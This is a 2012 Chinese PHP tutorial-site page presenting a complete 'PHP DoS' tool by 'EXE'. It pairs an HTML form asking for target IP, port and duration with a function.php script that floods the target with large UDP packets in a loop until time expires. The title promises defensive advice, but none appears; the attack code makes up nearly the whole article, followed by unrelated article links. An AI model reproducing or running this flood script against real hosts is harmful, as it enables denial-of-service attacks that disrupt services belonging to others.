php DOS攻击实现代码(附如何防范)


Posted in PHP onMay 29, 2012

index.php

<?php 
$ip = $_SERVER['REMOTE_ADDR']; 
?> 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> 
<html> 
<head> 
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1"> 
<meta name="author" content=""> 
<title>PHP DoS, Coded by EXE</title> 
</head> 
<!-- PHP DOS, coded by EXE --> 
<style type="text/css"> 
<!-- 
body { 
font-family: Arial, Helvetica, sans-serif; 
font-size: 12px; 
font-style: normal; 
line-height: normal; 
color: #FFFFFF; 
background-color: #000000; 
} 
--> 
</style> 
<!-- PHP DOS, coded by EXE --> 
<body> 
<center><br><br> 
<img src="main.jpg"><br> 
<b>Your IP:</b> <font color="red"><?php echo $ip; ?></font> (Don't DoS yourself nub)<br><br> 
<form name="input" action="function.php" method="post"> 
IP: 
<input type="text" name="ip" size="15" maxlength="15" class="main" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';"> 
    Time: 
<input type="text" name="time" size="14" maxlength="20" class="main" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';"> 
    Port: 
<input type="text" name="port" size="5" maxlength="5" class="main" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';"> 
<br><br> 
<input type="submit" value=" Start the Attack---> "> 
<br><br> 
<center> 
After initiating the DoS attack, please wait while the browser loads. 
</center> 
</form> 
</center> 
<!-- PHP DOS, coded by EXE --> 
</body> 
</html>

function.php
<?php 
//================================================= 
//PHP DOS v1.8 (Possibly Stronger Flood Strength) 
//Coded by EXE 
//================================================= 
$packets = 0; 
$ip = $_POST['ip']; 
$rand = $_POST['port']; 
set_time_limit(0); 
ignore_user_abort(FALSE); 
$exec_time = $_POST['time']; 
$time = time(); 
print "Flooded: $ip on port $rand <br><br>"; 
$max_time = $time+$exec_time; 
for($i=0;$i<65535;$i++){ 
$out .= "X"; 
} 
while(1){ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5); 
if($fp){ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n"; 
?>
PHP 相关文章推荐
PHP配置文件中最常用四个ini函数
Mar 19 PHP
用PHP的超级变量$_POST获取HTML表单(HTML Form) 数据
May 07 PHP
使用ThinkPHP自带的Http类下载远程图片到本地的实现代码
Aug 02 PHP
php下载文件的代码示例
Jun 29 PHP
php中选择什么接口(mysql、mysqli)访问mysql
Feb 06 PHP
destoon切换城市后实现logo旁边显示地区名称的方法
Aug 21 PHP
33道php常见面试题及答案
Jul 06 PHP
WordPress开发中用于标题显示的相关函数使用解析
Jan 07 PHP
php 使用curl模拟登录人人(校内)网的简单实例
Jun 06 PHP
PHP实现四种基础排序算法的运行时间比较(推荐)
Aug 11 PHP
php使用CURL模拟GET与POST向微信接口提交及获取数据的方法
Sep 23 PHP
PHP PDOStatement::fetchAll讲解
Jan 31 PHP
PHP fgetcsv 定义和用法(附windows与linux下兼容问题)
May 29 #PHP
PHP中将网页导出为Word文档的代码
May 25 #PHP
php在文件指定行中写入代码的方法
May 23 #PHP
php替换超长文本中的特殊字符的函数代码
May 22 #PHP
php提示undefined index的几种解决方法
May 21 #PHP
openflashchart 2.0 简单案例php版
May 21 #PHP
PHP中去掉字符串首尾空格的方法
May 19 #PHP
You might like
php数组函数序列之array_values() 获取数组元素值的函数与方法
2011/10/30 PHP
shopex主机报错误请求解决方案(No such file or directory)
2011/12/27 PHP
javascript:以前写的xmlhttp池,代码
2008/05/18 Javascript
php显示当前文件所在的文件以及文件夹所有文件以树形展开
2013/12/13 Javascript
使用jQuery调用XML实现无刷新即时聊天
2016/08/07 Javascript
利用Javascript实现BMI计算器
2016/08/16 Javascript
JavaScript数据类型学习笔记分享
2016/09/01 Javascript
jQuey将序列化对象在前台显示地实现代码(方法总结)
2016/12/13 Javascript
angular双向绑定模拟探索
2016/12/26 Javascript
Bootstrap实现渐变顶部固定自适应导航栏
2020/08/27 Javascript
javascript基础知识之html5轮播图实例讲解(44)
2017/02/17 Javascript
react实现点击选中的li高亮的示例代码
2018/05/24 Javascript
React性能优化系列之减少props改变的实现方法
2019/01/17 Javascript
Node.js中package.json中库的版本号(~和^)
2019/04/02 Javascript
vue vant Area组件使用详解
2019/12/09 Javascript
JavaScript 中的六种循环方法
2021/01/06 Javascript
[00:56]PWL开团时刻DAY8——追追追追追!
2020/11/09 DOTA
python getopt详解及简单实例
2016/12/30 Python
python3使用PyMysql连接mysql数据库实例
2017/02/07 Python
Python批量提取PDF文件中文本的脚本
2018/03/14 Python
解决Pandas to_json()中文乱码,转化为json数组的问题
2018/05/10 Python
python3 自动识别usb连接状态,即对usb重连的判断方法
2019/07/03 Python
Django ImageFiled上传照片并显示的方法
2019/07/28 Python
Python图像处理模块ndimage用法实例分析
2019/09/05 Python
python GUI库图形界面开发之PyQt5 Qt Designer工具(Qt设计师)详细使用方法及Designer ui文件转py文件方法
2020/02/26 Python
jupyter 实现notebook中显示完整的行和列
2020/04/09 Python
html5中canvas学习笔记1-画板的尺寸与实际显示尺寸
2013/01/06 HTML / CSS
美国餐厅用品和厨房设备批发网站:KaTom Restaurant Supply
2018/01/27 全球购物
有针对性的求职自荐信
2013/11/14 职场文书
优秀求职信范文分享
2014/01/26 职场文书
派出所所长先进事迹
2014/05/19 职场文书
司法局火灾防控方案
2014/06/05 职场文书
机关作风建设自查报告
2014/10/22 职场文书
大学生个人学习总结
2015/02/15 职场文书
ORACLE数据库对long类型字段进行模糊匹配的解决思路
2021/04/07 Oracle
如何利用python实现列表嵌套字典取值
2022/06/10 Python